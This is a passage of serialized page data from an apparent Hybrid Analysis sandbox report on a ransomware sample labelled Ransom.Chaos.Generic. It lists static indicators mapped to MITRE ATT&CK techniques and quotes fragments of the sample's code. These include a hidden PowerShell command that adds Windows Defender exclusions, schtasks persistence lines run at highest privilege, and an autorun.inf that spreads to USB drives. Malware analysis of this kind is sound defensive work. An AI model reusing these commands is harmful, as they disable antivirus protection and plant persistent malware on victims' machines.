\"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ConvertTo-SecureString\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Format-List\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Format-Table\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1565","id":"string-366","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"file/memory contains long string with (Indicator: \"OpenService\"; Source: \"sample.bin\"), Found reference to API \"| 0x0004);\n if (h == IntPtr.Zero) return \"OpenService failed \" + Marshal.GetLastWin32Error() + \" \" (Indicator: \"OpenService\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1569.002","id":"string-544","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"Found reference string \"powershell.exe -NoLogo -Command \"try{Add-MpPreference -ExclusionPath '%T%'}catch{};try{Add-MpPreference -ExclusionProcess '\" (Indicator: \"add-mppreference\"; Source: \"sample.bin\"), Found reference string \" sh.Run \"powershell.exe -NoProfile -WindowStyle Hidden -Command \"\"try{Add-MpPreference -ExclusionPath '\" & D & \"'}catch{};try{Add-MpPreference -ControlledFolderAccessAllowedApplications '\" & T & \"'}catch{}\"\"\", 0, True\" (Indicator: \"add-mppreference\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"add-mppreference\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1685","id":"string-980","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to unregister scheduled task using PowerShell command","description":"file/memory contains long string with (Indicator: \"unregister-scheduledtask\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070","id":"string-982","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to perform reflective code loading","description":"Found string \"Reflective load (in-memory Assembly.Load)\" (Indicator: \"assembly.load\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"assembly.load\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1620","id":"string-678","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load module (Dotnet string)","description":"Observed string: \"Reflective load (in-memory Assembly.Load)\" (Indicator: \"Assembly.Load\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1620","id":"string-252","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcessToken\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-306","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"RC2\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Aes\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"AesGcm\"; Source: \"sample.bin\"), Found reference to \"chkAes\" (Indicator: \"Aes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-138","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-397","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to remove a file/directory","description":"file/memory contains long string with (Indicator: \"rm -\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.004","id":"string-5065","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"file/memory contains long string with (Indicator: \"ControlService\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-192","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"file/memory contains long string with (Indicator: \"New-Item \"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Add-Type\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"New-Timespan\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-396","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"file/memory contains long string with (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found registry location strings which can modify auto-execute functionality","description":"$3f","origin":"sample.bin","mitre_attack_id":"T1547","id":"string-184","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Installation/Persistence","name":"Contains scheduled task related strings","description":"Found string \"sh.Run \"schtasks /Create /TN \" & q & tn2 & q & \" /TR \" & tr & \" /SC HOURLY /MO 1 /RL HIGHEST /F\", 0, True\" (Indicator: \"schtasks /create\"; Source: \"sample.bin\"), Found string \"sh.Run \"schtasks /Create /TN \" & q & tn6 & q & \" /TR \" & tr & \" /SC DAILY /ST 22:00 /RL HIGHEST /F\", 0, True\" (Indicator: \"schtasks /create\"; Source: \"sample.bin\"), Found string \"sh.Run \"schtasks /Create /TN \" & q & re1 & q & \" /TR \" & q & reCmd & q & \" /SC MINUTE /MO \" (Indicator: \"schtasks /create\"; Source: \"sample.bin\"), Found string \"sh.Run \"schtasks /Create /TN \" & q & tn4 & q & \" /TR \" & tr & \" /SC DAILY /ST 12:00 /RL HIGHEST /F\", 0, True\" (Indicator: \"schtasks /create\"; Source: \"sample.bin\"), Found string \"sh.Run \"schtasks /Create /TN \" & q & reDelay & q & \" /TR \" & q & reCmd & q & \" /SC ONCE /ST \" & Right(\"0\" & Hour(DateAdd(\"n\", \" (Indicator: \"schtasks /create\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1053.005","id":"string-128","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"file/memory contains long string with (Indicator: \"CreateService\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-199","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to perform scheduled task-related activity (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Register-ScheduledTask\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Unregister-ScheduledTask\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"New-ScheduledTaskAction\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"New-ScheduledTaskTrigger\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1053.005","id":"string-335","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to software packages activity (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-AppxPackage\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Remove-AppxPackage\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1072","id":"string-387","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Installation/Persistence","name":"Has the ability to infect usb drives","description":"\"[autorun]\nopen=go.vbs\nshellexecute=go.vbs\naction=Open folder to view files\nicon=go.vbs\n\" (Indicator: \"[autorun]\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1091","id":"string-175","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found a string that may be used as part of an injection method","description":"$40","origin":"sample.bin","mitre_attack_id":"T1055.011","id":"string-4","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Remote Access Related","name":"Able to configure Windows Remote Management service","description":"file/memory contains long string with (Indicator: \"winrm \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1133","id":"string-909","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$41","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-30","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Enable-PSRemoting\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-289","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"file/memory contains long string with (Indicator: \"CreateDesktop\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"SwitchDesktop\"; Source: \"sample.bin\")","origin":"sample.bin","id":"string-541","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"ollydbg\" (Indicator: \"ollydbg\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"ollydbg\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1518.001","id":"string-5","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"May check for the presence of a forensics/monitoring tool","description":"file/memory contains long string with (Indicator: \"taskkill.exe\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1518.001","id":"string-45","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Destruction","name":"Contains ability to uninstall applications (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Remove-AppxPackage\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \".Uninstall()\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1685","id":"string-200","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Destruction","name":"Contains ability to lock the workstation's display (API string)","description":"file/memory contains long string with (Indicator: \"LockWorkStation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1499","id":"string-221","sources":[{"report_type":"qsp","report_id":""}]}],"intel_graph":{"map":{"File:ffb5d34d5e8162fc3b7e3bf60057803ab01c35f15f323bd95ccb0d15bb77aa07":{"type":"File","value":"ffb5d34d5e8162fc3b7e3bf60057803ab01c35f15f323bd95ccb0d15bb77aa07","verdict":{"verdict":"suspicious","verdict_source":"static analysis","reasons":["Associated with known suspicious activity"]},"filetype":"PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"}},"chains":[{"id":"1566313570867269718","root":"File:ffb5d34d5e8162fc3b7e3bf60057803ab01c35f15f323bd95ccb0d15bb77aa07","edges":[],"verdict":{"verdict":"suspicious","verdict_source":"static analysis","reasons":["Associated with known suspicious activity"]}}]}},"activity":{"stats":{"process_count":0,"spawned_processes_count":0,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":0,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":0,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":null,"processes":null,"all_imported_dlls":null},"file_activity":{"dropped_files":[],"extracted_files":[],"files_written":null,"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Ransom.Chaos.Generic Sample ffb5d34d5e81… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ffb5d34d5e81…. Malware family: Ransom.Chaos.Generic. Threat score 100/100. 10/25 AV engines flagged this file. 3 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ffb5d34d5e8162fc3b7e3bf60057803ab01c35f15f323bd95ccb0d15bb77aa07"}],["$","meta","4",{"property":"og:title","content":"Malicious Ransom.Chaos.Generic Sample ffb5d34d5e81… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ffb5d34d5e81…. Malware family: Ransom.Chaos.Generic. Threat score 100/100. 10/25 AV engines flagged this file. 3 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ffb5d34d5e8162fc3b7e3bf60057803ab01c35f15f323bd95ccb0d15bb77aa07"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ransom.Chaos.Generic Sample ffb5d34d5e81… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ffb5d34d5e81…. Malware family: Ransom.Chaos.Generic. Threat score 100/100. 10/25 AV engines flagged this file. 3 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L42","11",{}]]